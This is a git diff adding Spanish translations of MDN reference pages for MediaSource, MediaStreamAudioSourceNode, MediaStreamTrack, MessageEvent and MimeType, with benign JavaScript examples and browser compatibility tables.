+<p>The following simple example loads a video chunk by chunk as fast as possible, playing it as soon as it can. This example was written by Nick Desaulniers and can be <a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">viewed live here</a> (you can also <a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">download the source</a> for further investigation.)</p>
+
+<pre class="brush: js">var video = document.querySelector('video');
+
+var assetURL = 'frag_bunny.mp4';
+// Need to be specific for Blink regarding codecs
+// ./mp4info frag_bunny.mp4 | grep Codec
+var mimeCodec = 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"';
+
+if ('MediaSource' in window &amp;&amp; MediaSource.isTypeSupported(mimeCodec)) {
+  var mediaSource = new MediaSource;
+  //console.log(mediaSource.readyState); // closed
+  video.src = URL.createObjectURL(mediaSource);
+  mediaSource.addEventListener('sourceopen', sourceOpen);
+} else {
+  console.error('Unsupported MIME type or codec: ', mimeCodec);
+}
+
+function sourceOpen (_) {
+  //console.log(this.readyState); // open
+  var mediaSource = this;
+  var sourceBuffer = mediaSource.addSourceBuffer(mimeCodec);
+  fetchAB(assetURL, function (buf) {
+    sourceBuffer.addEventListener('updateend', function (_) {
+      mediaSource.endOfStream();
+      video.play();
+      //console.log(mediaSource.readyState); // ended
+    });
+    sourceBuffer.appendBuffer(buf);
+  });
+};
+
+function fetchAB (url, cb) {
+  console.log(url);
+  var xhr = new XMLHttpRequest;
+  xhr.open('get', url);
+  xhr.responseType = 'arraybuffer';
+  xhr.onload = function () {
+    cb(xhr.response);
+  };
+  xhr.send();
+};</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Source Extensions', '#mediasource', 'MediaSource')}}</td>
+   <td>{{Spec2('Media Source Extensions')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>23</td>
+   <td>{{CompatGeckoDesktop("25.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("42.0")}}</td>
+   <td>11<sup>[2]</sup></td>
+   <td>15</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4.4</td>
+   <td>
+    <p>{{CompatNo}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>11</td>
+   <td>30</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Available after switching the <code>about:config</code> preference <code>media.mediasource.enabled</code> to <code>true</code>. In addition, support was limited to a whitelist of sites, for example YouTube, Netflix, and other popular streaming sites. The whitelist was removed and Media Source Extensions was enabled by default in 42+ for all sites.</p>
+
+<p>[2] Only works on Windows 8+.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("SourceBuffer")}}</li>
+ <li>{{domxref("SourceBufferList")}}</li>
+</ul>
diff --git a/files/es/web/api/mediastreamaudiosourcenode/index.html b/files/es/web/api/mediastreamaudiosourcenode/index.html
new file mode 100644
index 0000000000..7e620ac305
--- /dev/null
+++ b/files/es/web/api/mediastreamaudiosourcenode/index.html
@@ -0,0 +1,129 @@
+---
+title: MediaStreamAudioSourceNode
+slug: Web/API/MediaStreamAudioSourceNode
+tags:
+  - API
+  - MediaStreamAudioSourceNode
+  - Web Audio API
+translation_of: Web/API/MediaStreamAudioSourceNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<div>
+<p>La interfaz <code>MediaStreamAudioSourceNode</code> representa una fuente de audio compuesta por un <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} (tal como una cámara web o un micrófono.) Es un {{domxref("AudioNode")}} que actúa como una fuente de audio.</p>
+</div>
+
+<p>El <code>MediaElementSourceNode</code> no tiene entradas y una y sólo una salida, y es creado usando el método {{domxref("AudioContext.createMediaStreamSource")}}.</p>
+
+<p>La cantidad de canales en la salida es igual al número de canales en  {{domxref("AudioMediaStreamTrack")}}. Si no existe un flujo de media válido, entonces el número de canales de salida será un canal silencioso.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> <code>MediaStreamAudioSourceNode</code> selecciona la pista de audio automáticamente, y puede que no siempre sea predecible. Usted debería considerar seriamente usar el {{domxref("MediaStreamTrackAudioSourceNode")}} en su lugar, que se crea especificando la pista exacta que desea utilizar.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Número de entradas</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Número de salidas</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Cantidad de canales</th>
+   <td>definido por {{domxref("AudioMediaStreamTrack")}} pasado al método  {{domxref("AudioContext.createMediaStreamSource")}} que lo creó.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Heredadas de su padre, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Heredadas de su padre, {{domxref("AudioNode")}}</em>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>{{page("/en-US/docs/Web/API/AudioContext.createMediaStreamSource","Example")}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-mediastreamaudiosourcenode-interface', 'MediaStreamAudioSourceNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/es/web/api/mediastreamtrack/index.html b/files/es/web/api/mediastreamtrack/index.html
new file mode 100644
index 0000000000..3bc2159332
--- /dev/null
+++ b/files/es/web/api/mediastreamtrack/index.html
@@ -0,0 +1,181 @@
+---
+title: MediaStreamTrack
+slug: Web/API/MediaStreamTrack
+translation_of: Web/API/MediaStreamTrack
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>La interfaz <strong><code>MediaStream</code></strong><strong> </strong> representa un flujo de contenido de los medios. Un flujo consiste en gran cantidad de  <em>tracks</em>, como pistas de audio o video.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("MediaStreamTrack.enabled")}}</dt>
+ <dd>Es un valor Booleano con un valor de  <code>true</code> <span class="short_text" id="result_box" lang="es"><span class="hps">si la pista</span> <span class="hps">está habilitada</span></span>, que se permite para renderizar el fujo fuente del medio; <span class="short_text" id="result_box" lang="es"><span class="hps">o </span></span><code>false</code><span class="short_text" lang="es"> <span class="hps">si está desactivado, ue no </span></span><span id="result_box" lang="es"><span class="hps">está rederizando el flujo de la fuente de medios que el silencio y la oscuridad.</span></span> <span id="result_box" lang="es"><span class="hps">Si la pista</span> <span class="hps">se ha desconectado</span><span>,</span> <span class="hps">este valor puede ser</span> <span class="hps">cambiado</span><span>, pero no tiene</span> <span class="hps">más</span> <span class="hps">efecto</span><span>.</span></span></dd>
+ <dt>{{domxref("MediaStreamTrack.id")}} {{readonlyInline}}</dt>
+ <dd>Retorna un {{domxref("DOMString")}}<span class="short_text" id="result_box" lang="es"><span class="hps"> que contiene</span> <span class="hps">un identificador único</span></span> (GUID) para la pista; que es generado por le navegador.</dd>
+ <dt>{{domxref("MediaStreamTrack.kind")}} {{readonlyInline}}</dt>
+ <dd>Retorna un {{domxref("DOMString")}} se establece en <code>"audio"</code> si la pista es un audio y para <code>"video"</code>, si es una pista de video. Este no cambia si la pista se disociada de su fuente.</dd>
+ <dt>{{domxref("MediaStreamTrack.label")}} {{readonlyInline}}</dt>
+ <dd>Retorna un {{domxref("DOMString")}} que contiene una etiqueta agente-asignado por el usuario que identifica la fuente de la pista, como en  <code>"internal microphone"</code>.  <span id="result_box" lang="es"><span class="hps">La cadena puede</span> <span class="hps">dejarse vacío</span> <span class="hps">y</span> <span class="hps">está vacía</span><span>, siempre y cuando</span> <span class="hps">ninguna fuente</span> <span class="hps">haya sido conectada.</span></span> Cuando la pista está disociada de la fuente, la etiqueta no cambia.</dd>
+ <dt>{{domxref("MediaStreamTrack.muted")}} {{readonlyInline}}</dt>
+ <dd>Retorna un valor booleano con un valor de <code>true</code> si la pista esta silenciada, de lo contrario <code>false</code>.</dd>
+ <dt>{{domxref("MediaStreamTrack.readonly")}} {{readonlyInline}}</dt>
+ <dd>Retona un valor Booleano con un valor de <code>true</code>  si la pista es de solo lectura ( una fuente de archivo de vídeo o una cámara que los ajustes no puedan ser modificados),<code> </code>de lo contrario<code> false</code>.</dd>
+ <dt>{{domxref("MediaStreamTrack.readyState")}} {{readonlyInline}}</dt>
+ <dd>Retorna un valor enumerado dando el estado de la pista. Este toma uno de los siguientes valores:
+ <ul>
+  <li><code>"live"</code> el cual indica  que una entrada es conectada y hace de esta el mejor esfuerzo en proveer datos en tiempo real. En este caso, la salida de datos puede ser cambiada a on u off usando el atributo <code>MediaStreamTrack.enabled</code>.</li>
+  <li><code>"ended"</code> este indica que la entrada no esta obteniendo algun dato mas y negará proporcionar nuevos datos.</li>
+ </ul>
+ </dd>
+ <dt>{{domxref("MediaStreamTrack.remote")}} {{readonlyInline}}</dt>
+ <dd>retorna un booleano con un valor de verdadero si la pista es originada por  {{domxref("RTCPeerConnection")}}, falso a cualquier otro.</dd>
+</dl>
+
+<h3 id="Disparador_de_eventos">Disparador de eventos</h3>
+
+<dl>
+ <dt>{{domxref("MediaStreamTrack.onstarted")}}</dt>
+ <dd>Es un contenedor {{domxref("EventHandler")}} de la acción a realizar cuando el evento {{event("started")}} es disparado sobre el objeto,  que es cuando un objeto {{domxref("MediaStreamTrack")}} es añadido.</dd>
+ <dt>{{domxref("MediaStreamTrack.onmute")}}</dt>
+ <dd>Es un contenedor {{domxref("EventHandler")}} de la acción ha realizar cuando un evento {{event("mute")}} es disparado sobre el objeto, que es cuando la transmición es terminada.</dd>
+ <dt>{{domxref("MediaStreamTrack.onunmute")}}</dt>
+ <dd>Es un contenedor {{domxref("EventHandler")}} de la acción ha realizar cuando un evento  {{event("unmute")}} es disparado sobre el objeto, que es cuando un objeto  {{domxref("MediaStreamTrack")}} es removido por este.</dd>
+ <dt>{{domxref("MediaStreamTrack.onoverconstrained")}}</dt>
+ <dd>Es un contenedor {{domxref("EventHandler")}} de la acción ha realizar cuando un objeto {{event("overconstrained")}} es disparado sobre el objeto, que es cuando un objeto  {{domxref("MediaStreamTrack")}}  es removido por este.</dd>
+ <dt>{{domxref("MediaStreamTrack.oneended")}}</dt>
+ <dd>Es un contenedor {{domxref("EventHandler")}} de la acción ha realizar cuando un evento {{event("ended_(MediaStream)", "ended")}} es disparado sobre el objeto, que es cuando un objeto  {{domxref("MediaStreamTrack")}} es removido por este.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("MediaStreamTrack.getConstraints()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("MediaStreamTrack.applyConstraints()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("MediaStreamTrack.getSettings()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("MediaStreamTrack.getCapabilities()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("MediaStreamTrack.clone()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("MediaStreamTrack.stop()")}}</dt>
+ <dd>Detiene la reproducción del origen asociado a la pista, pero el origen y la pista son desasociados. El estado de la pista es un conjunto de <code>ended</code>.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#mediastreamtrack', 'MediaStreamTrack')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>stop()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(34)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>muted</code>, <code>onmuted</code>, <code>onunmuted</code>, <code>readonly</code>, <code>readyState</code>, <code>remote</code>, <code>onstarted</code>, <code>onended</code>, <code>onoverconstrained</code>, <code>appendConstraint()</code>, <code>applyConstraints()</code>, <code>constraints()</code>, <code>getConstraints()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>
+    <table class="compat-table">
+     <tbody>
+      <tr>
+       <td><code>stop()</code></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(34)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>muted</code>, <code>onmuted</code>, <code>onunmuted</code>, <code>readonly</code>, <code>readyState</code>, <code>remote</code>, <code>onstarted</code>, <code>onended</code>, <code>onoverconstrained</code>, <code>appendConstraint()</code>, <code>applyConstraints()</code>, <code>constraints()</code>, <code>getConstraints()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_támbien">Ver támbien</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebRTC/MediaStream_API" title="/en-US/docs/WebRTC/MediaStream_API">Using the MediaStream API</a></li>
+</ul>
diff --git a/files/es/web/api/messageevent/index.html b/files/es/web/api/messageevent/index.html
new file mode 100644
index 0000000000..1d1e898be5
--- /dev/null
+++ b/files/es/web/api/messageevent/index.html
@@ -0,0 +1,195 @@
+---
+title: MessageEvent
+slug: Web/API/MessageEvent
+translation_of: Web/API/MessageEvent
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La interface <code><strong>MessageEvent</strong></code> representa un mensaje recibido por un objeto de destino.</p>
+
+<p>Este es usado  para representar mensajes en : </p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Server-sent_events">Eventos enviados por el servidor </a>(ver {{domxref("EventSource.onmessage")}}).</li>
+ <li><a href="/en-US/docs/Web/API/WebSockets_API">Web sockets</a> (ver la propiedad <code>onmessage</code> de la interface <a href="/en-US/docs/Web/API/WebSocket">WebSocket</a> ).</li>
+ <li>Mensajeria cruzada(ver {{domxref("Window.postMessage()")}} y {{domxref("Window.onmessage")}}).</li>
+ <li><a href="/en-US/docs/Web/API/Channel_Messaging_API">Mensajes de canal </a>(ver {{domxref("MessagePort.postMessage()")}} y {{domxref("MessagePort.onmessage")}}).</li>
+ <li>Trabajo cruzado / Mensajes de texto (vea las dos entradas anteriores, pero también {{domxref("Worker.postMessage()")}}, {{domxref("Worker.onmessage")}}, {{domxref("ServiceWorkerGlobalScope.onmessage")}}, etc.)</li>
+ <li><a href="/en-US/docs/Web/API/Broadcast_Channel_API">Canales de Transmisión</a>(ver{{domxref("Broadcastchannel.postMessage()")}}) y {{domxref("BroadcastChannel.onmessage")}}).</li>
+ <li>Canal de datos WebRTC (ver {{domxref("RTCDataChannel.onmessage")}}).</li>
+</ul>
+
+<p>La acción desencadenada por este evento es definida en una función establecida como el controlador de eventos para el evento pertinente {{event("message")}} ( es decir :  Usando un manejador de <code>onmessage</code>  como se lista arriba).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("MessageEvent.MessageEvent", "MessageEvent()")}}</dt>
+ <dd>Crear un nuevo <code>MessageEvent</code>.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Esta interface tambien herada propiedadesde desde su padre {{domxref("Evento")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MessageEvent.data")}} {{readonlyInline}}</dt>
+ <dd>La información enviada por el emisor del mensaje.</dd>
+ <dt>{{domxref("MessageEvent.origin")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("USVString")}} es una representacion del origen del emisor del mensaje. </dd>
+ <dt>{{domxref("MessageEvent.lastEventId")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} es una representación de una ID unico para el evento.</dd>
+ <dt>{{domxref("MessageEvent.source")}} {{readonlyInline}}</dt>
+ <dd>El <code>MessageEventSource</code> (El cual puede ser un {{domxref("WindowProxy")}}, {{domxref("MessagePort")}}, or {{domxref("ServiceWorker")}} object) es ima representación del mensaje emitido.</dd>
+ <dt>{{domxref("MessageEvent.ports")}} {{readonlyInline}}</dt>
+ <dd>Un  array de objetos {{domxref("MessagePort")}} representa los puertos asociados al canal, el mensaje se esta enviado a traves de (donde sea apropiado,  por ejemplo, en mensajes de canal o al enviar un mensaje a un trabajador compartido).</dd>
+</dl>
+
+<h2 id="Metodos">Metodos</h2>
+
+<p><em>Esta interface tambien herada propiedadesde desde su padre, {{domxref("Evento")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MessageEvent.initMessageEvent()")}} {{deprecated_inline}}</dt>
+ <dd>Inicializar un vento de mensaje. <strong>No use esto mas </strong>— en vez de eso use el constructor <strong>{{domxref("MessageEvent.MessageEvent", "MessageEvent()")}} .</strong></dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En nuestro <a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">Ejemplo basico de trabajador compartido</a>(<a class="external external-icon" href="http://mdn.github.io/simple-shared-worker/">Ejecutar trabajador compartdo </a>), Tenemos dos paginas HTML, cada una de las cuales usa algo de JavaScript para mejorar un calculo simple. Los diferentes scripts estan usando el mismo archivo de trabajo para mejorar el calculo — Ambos pueden accederlo,  Incluso si sus paginas esta corriendo n diferentes ventanas. </p>
+
+<p>The following code snippet shows creation of a <code>SharedWorker</code> object using the {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}} constructor. Both scripts contain this:</p>
+
+<pre class="brush: js">var myWorker = new SharedWorker('worker.js');
+</pre>
+
+<p>Both scripts then access the worker through a {{domxref("MessagePort")}} object created using the {{domxref("SharedWorker.port")}} property. If the onmessage event is attached using addEventListener, the port is manually started using its <code>start()</code> method:</p>
+
+<pre class="brush: js">myWorker.port.start();</pre>
+
+<p>When the port is started, both scripts post messages to the worker and handle messages sent from it using <code>port.postMessage()</code> and <code>port.onmessage</code>, respectively:</p>
+
+<pre class="brush: js">first.onchange = function() {
+  myWorker.port.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.port.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+myWorker.port.onmessage = function(e) {
+  result1.textContent = e.data;
+  console.log('Message received from worker');
+}</pre>
+
+<p>Inside the worker we use the {{domxref("SharedWorkerGlobalScope.onconnect")}} handler to connect to the same port discussed above. The ports associated with that worker are accessible in the {{event("connect")}} event's <code>ports</code> property — we then use {{domxref("MessagePort")}} <code>start()</code> method to start the port, and the <code>onmessage</code> handler to deal with messages sent from the main threads.</p>
+
+<pre class="brush: js">onconnect = function(e) {
+  var port = e.ports[0];
+
+  port.addEventListener('message', function(e) {
+    var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+    port.postMessage(workerResult);
+  });
+
+  port.start(); // Required when using addEventListener. Otherwise called implicitly by onmessage setter.
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#messageevent", "MessageEvent")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatSafari('10.0+')}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> as {{domxref("USVString")}} and <code>source</code> as <code>MessageEventSource</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("55.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>3.0+</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> as {{domxref("USVString")}} and <code>source</code> as <code>MessageEventSource</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("55.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li>{{domxref("ExtendableMessageEvent")}} — similar to this interface but used in interfaces that needs to give more flexibility to authors.</li>
+</ul>
diff --git a/files/es/web/api/mimetype/index.html b/files/es/web/api/mimetype/index.html
new file mode 100644
index 0000000000..0594c0c5eb
--- /dev/null
+++ b/files/es/web/api/mimetype/index.html
@@ -0,0 +1,97 @@
+---
+title: MimeType
+slug: Web/API/MimeType
+tags:
+  - API
+  - Interface
+  - Plugins
+  - Referencia
+translation_of: Web/API/MimeType
+---
+<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p>
+
+<p>La interfaz <strong><code>MimeType</code></strong> provee información acerca de un tipo MIME asociado con un plugin en particular. {{domxref("NavigatorPlugins.mimeTypes")}} retorna un arreglo de estos objetos.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("MimeType.type")}}</dt>
+ <dd>Retorna el tipo MIME del plugin asociado.</dd>
+ <dt>{{domxref("MimeType.description")}}</dt>
+ <dd>Retorna la descripción del plugin asociado o un string vacío en caso de no haberla.</dd>
+ <dt>{{domxref("MimeType.suffixes")}}</dt>
+ <dd>Un string que contiene las extensiones de archivo válidas para los datos mostrados por el plugin, o un string vacío si una extensión de archivo no es válida para el módulo en particular. Por ejemplo, un módulo de decriptación de contenido del navegador podría aparecer en la lista de plugins, pero soportar más extensiones de archivo de las que se pueden anticipar. Por lo tanto, podría retornar un string vacío.</dd>
+ <dt>{{domxref("MimeType.enabledPlugin")}}</dt>
+ <dd>Retorna una instancia de {{domxref("Plugin")}} que contiene la información acerca del plugin en sí mismo.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','#mimetype','MimeType')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
